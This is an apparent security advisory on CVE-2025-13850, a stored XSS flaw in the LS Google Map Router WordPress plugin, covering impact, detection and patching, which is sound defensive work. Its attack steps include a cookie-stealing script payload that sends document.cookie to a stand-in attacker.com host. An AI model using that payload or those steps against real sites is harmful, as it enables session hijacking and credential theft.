CVE-2025-13850: 
WordPress vulnerability analysis and mitigation

CVE-2025-13850 is a Stored Cross-Site Scripting (XSS) vulnerability in the LS Google Map Router plugin for WordPress. It affects all versions up to and including 1.1.0, caused by insufficient input sanitization and output escaping of the map_type parameter. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages, which execute for any user who visits the affected page. It was published on December 12, 2025, with a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in ls-gmap_route.php at line 61, where the map_type parameter is rendered without proper sanitization or escaping (WordPress Trac). An attacker with at least Contributor-level WordPress access can submit a crafted value for map_type that embeds malicious JavaScript, which is then stored in the database and rendered to all subsequent visitors of the affected page. No special configuration is required beyond having a Contributor account on the target WordPress site (Wordfence).

Successful exploitation allows injected scripts to execute in the browsers of all users — including administrators — who view the compromised page, impacting both confidentiality and integrity. Attackers could steal session cookies, capture credentials, redirect users to malicious sites, or perform actions on behalf of victims. Availability is not directly impacted, but persistent script injection can degrade site trustworthiness and enable further compromise of privileged accounts (Wordfence, Red Hat).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13850 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Reconnaissance: Identify WordPress sites running the LS Google Map Router plugin version 1.1.0 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Create or edit a post: Navigate to the WordPress editor and insert a map block or shortcode provided by the LS Google Map Router plugin.
4. Inject malicious payload: Set the map_type parameter to a crafted value containing a JavaScript payload, e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
5. Publish the page: Submit or update the post/page so the malicious value is stored in the database.
6. Trigger execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints by low-privileged users containing unusual values in map_type fields; unexpected script tags in page content stored in the database.
• File System: No direct file system artifacts expected for stored XSS, but review the wp_posts and wp_postmeta database tables for entries containing <script>, javascript:, or encoded variants in map-related fields.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing LS Google Map Router shortcodes; unusual referrer patterns in web server logs.
• Application: Unexpected admin account creation, password changes, or plugin installations following visits to affected pages, which may indicate successful session hijacking via the injected script.

Users should update the LS Google Map Router plugin to version 1.1.1 or later, which addresses the insufficient sanitization of the map_type parameter (Wordfence). As a temporary workaround, site administrators can restrict Contributor-level users from creating or editing posts that use this plugin's shortcodes, or disable the plugin entirely until patching is feasible. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional defense-in-depth.

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting the patch availability in version 1.1.1 (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the standard disclosure has been identified.